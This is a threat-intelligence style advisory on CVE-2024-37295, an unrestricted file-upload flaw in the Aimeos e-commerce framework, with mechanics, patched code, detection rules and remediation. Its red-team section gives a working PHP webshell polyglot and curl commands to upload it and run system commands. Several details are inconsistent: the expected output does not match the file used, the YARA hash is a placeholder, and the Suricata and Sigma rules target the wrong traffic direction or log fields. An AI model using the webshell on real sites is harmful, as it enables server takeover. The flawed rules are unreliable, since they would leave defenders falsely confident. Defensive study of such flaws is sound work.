CVE-2024-37295

Executive Summary

CVE-2024-37295 is a critical vulnerability in the Aimeos open-source e-commerce framework, affecting versions 2024.01.1 through 2024.04.4. The flaw allows authenticated users with administrative privileges to upload files that appear to be images (e.g., with a .jpg or .png extension) but contain embedded PHP code. Once uploaded, this malicious file can be accessed directly via the web server, leading to arbitrary PHP code execution in the context of the web server user. This can result in full site compromise, data exfiltration, and lateral movement within the hosting environment.

The vulnerability is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). The CVSS v3.1 base score is 7.2 (High), with a vector of AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. While the attack requires administrative privileges, the impact is severe due to the potential for complete system takeover.

Supply Chain & Package Security

Aimeos is a PHP-based e-commerce framework distributed via Composer (Packagist). The vulnerable component is part of the core framework. Organizations using Aimeos should immediately audit their Composer dependencies and update to the patched version. The supply chain risk is moderate, as the vulnerability is in the core codebase and not a third-party plugin, but the impact is high for any affected deployment.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required; the upload functionality is standard.
• Privileges Required (PR): High (H) – An attacker must have administrative access to the Aimeos backend.
• User Interaction (UI): None (N) – No user interaction is needed beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Full read access to the server's filesystem and databases.
• Integrity (I): High (H) – Full write access to the server's filesystem.
• Availability (A): High (H) – Potential for denial of service or complete system disruption.

Threat Level: High. While the privilege requirement reduces the attack surface, the impact is severe. An attacker who gains admin credentials (via phishing, credential stuffing, or other means) can achieve remote code execution.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Aimeos, specifically in the image upload handler. The application validates file uploads based on the MIME type and file extension, but it does not perform deep content inspection. An attacker can craft a file that:

1. Has a valid image header (e.g., GIF89a for GIF, \xFF\xD8\xFF for JPEG).
2. Contains PHP code appended after the image data.
3. Is saved with a .php extension or a double extension like .php.jpg that the web server may interpret as PHP.

When the file is accessed via the web server (e.g., https://target.com/uploads/malicious.php.jpg), the server may execute the PHP code if the configuration allows (e.g., AddHandler or mod_mime misconfiguration). Even if the file is saved with a .jpg extension, the embedded PHP code can be executed if the server is configured to parse PHP in any file (e.g., via .htaccess or AddType application/x-httpd-php .jpg).

The attack flow:

1. Attacker logs into the Aimeos admin panel.
2. Navigates to the media/file upload section.
3. Uploads a crafted file (e.g., shell.php.jpg) containing a GIF header and PHP code.
4. The file is stored in the web-accessible uploads directory.
5. Attacker accesses the file URL, triggering PHP execution.
6. The PHP code executes, allowing command execution, data exfiltration, or further compromise.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

// Vulnerable: Only checks extension and MIME type
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array(strtolower($extension), $allowedExtensions)) {
    move_uploaded_file($_FILES['file']['tmp_name'], $uploadDir . $_FILES['file']['name']);
}

Patched Code (simplified example):

// Patched: Validates actual image content using GD or Imagick
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array(strtolower($extension), $allowedExtensions)) {
    // Verify the file is a genuine image
    $imageInfo = getimagesize($_FILES['file']['tmp_name']);
    if ($imageInfo !== false) {
        // Re-encode the image to strip any embedded code
        $image = imagecreatefromstring(file_get_contents($_FILES['file']['tmp_name']));
        if ($image !== false) {
            // Save the re-encoded image
            imagejpeg($image, $uploadDir . uniqid() . '.jpg');
            imagedestroy($image);
        }
    }
}

The patched version uses getimagesize() to verify the file is a valid image and then re-encodes it using GD library functions, which strips any extraneous data (including PHP code) from the file. Additionally, the filename is sanitized to prevent double extensions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Administrative access to the Aimeos backend.
• Knowledge of the upload endpoint (typically /admin/file/upload or similar).
• Web server configured to execute PHP in uploaded files (common in shared hosting).

Step-by-Step Exploitation:

1. Craft the malicious file: Create a file that is both a valid image and contains PHP code. For example, using a GIF:

   echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php
   

   Or a JPEG polyglot:

   # polyglot.py
   import struct
   # JPEG header
   jpeg_header = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00'
   php_code = b'<?php system($_GET["cmd"]); ?>'
   with open('shell.jpg.php', 'wb') as f:
       f.write(jpeg_header + php_code)
   

2. Upload the file: Using a browser or curl:

   curl -X POST -F "file=@shell.jpg.php" -b "session=ADMIN_SESSION" https://target.com/admin/file/upload
   

3. Execute commands: Access the uploaded file:

   curl "https://target.com/uploads/shell.jpg.php?cmd=id"
   

Expected Output:

GIF89auid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor file upload logs for unusual filenames (e.g., double extensions, .php in image uploads).
2. Inspect uploaded files for PHP tags (<?php, <?=, <?).
3. Check web server access logs for requests to uploaded files with query parameters (e.g., ?cmd=).
4. Use file integrity monitoring to detect new files in upload directories.

Hardening Steps:

1. Immediate: Upgrade to Aimeos 2024.04.5 or later.
2. Mitigation: If upgrade is not possible, disable the file upload functionality for non-essential users.
3. Web Server Configuration:
   • For Apache: Disable PHP execution in upload directories:

     <Directory /var/www/html/uploads>
         php_admin_flag engine off
     </Directory>
     

   • For Nginx: Use location block to deny access to PHP files in uploads:

     location /uploads/ {
         location ~ \.php$ {
             deny all;
         }
     }
     

4. File Validation: Implement server-side validation using getimagesize() and re-encode images before storage.
5. Least Privilege: Restrict admin access to only necessary users and enforce strong authentication (MFA).

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files in upload directories with double extensions (e.g., shell.jpg.php, image.png.php).
• Files with image headers but containing PHP code (e.g., GIF89a<?php ...).
• Unexpected files in /uploads/ or /media/ directories.

Network IOCs:

• HTTP POST requests to /admin/file/upload or similar endpoints with Content-Type: multipart/form-data.
• HTTP GET requests to uploaded files with query parameters like cmd, exec, system.
• Outbound connections from the web server to unknown IPs (potential C2).

Log IOCs:

• Web server logs showing requests to .php files in upload directories.
• PHP error logs indicating parse errors in image files.
• File upload logs showing filenames with double extensions.

Detection Engineering

YARA Rule

rule CVE_2024_37295_Aimeos_Uploaded_Shell {
    meta:
        description = "Detects malicious image files with embedded PHP code targeting CVE-2024-37295"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37295"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $php_tag = /<\?[p=]?/
        $image_header_gif = "GIF89a"
        $image_header_jpeg = { ff d8 ff }
        $image_header_png = { 89 50 4e 47 }
    condition:
        ($image_header_gif or $image_header_jpeg or $image_header_png) and $php_tag
}

Sigma Rule

title: CVE-2024-37295 - Aimeos Malicious File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of files with double extensions or PHP code in image files to Aimeos admin panel
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37295
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/file/upload'
    keywords:
        - '.php.jpg'
        - '.php.jpeg'
        - '.php.png'
        - '.php.gif'
    condition: selection and keywords
falsepositives:
    - Legitimate file uploads with unusual names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37295 Aimeos Malicious File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/file/upload"; http_uri; content:".php."; http_client_body; pcre:"/(\.php\.(jpg|jpeg|png|gif))/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Aimeos to version 2024.04.5 or later immediately.
2. Scan: Run a full file system scan for any files matching the YARA rule above.
3. Audit: Review admin user accounts and revoke access for any suspicious or unused accounts.

Long-Term Mitigations:

1. Web Application Firewall (WAF): Deploy rules to block uploads with double extensions or PHP code in image files.
2. File Storage: Store uploaded files outside the web root and serve them via a proxy script that validates content.
3. Regular Updates: Subscribe to Aimeos security advisories and apply patches promptly.
4. Security Training: Educate administrators on the risks of file upload vulnerabilities and safe practices.

Verification: After applying the patch, verify the fix by attempting to upload a test file with embedded PHP code. The upload should be rejected or the file should be sanitized.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2024-37295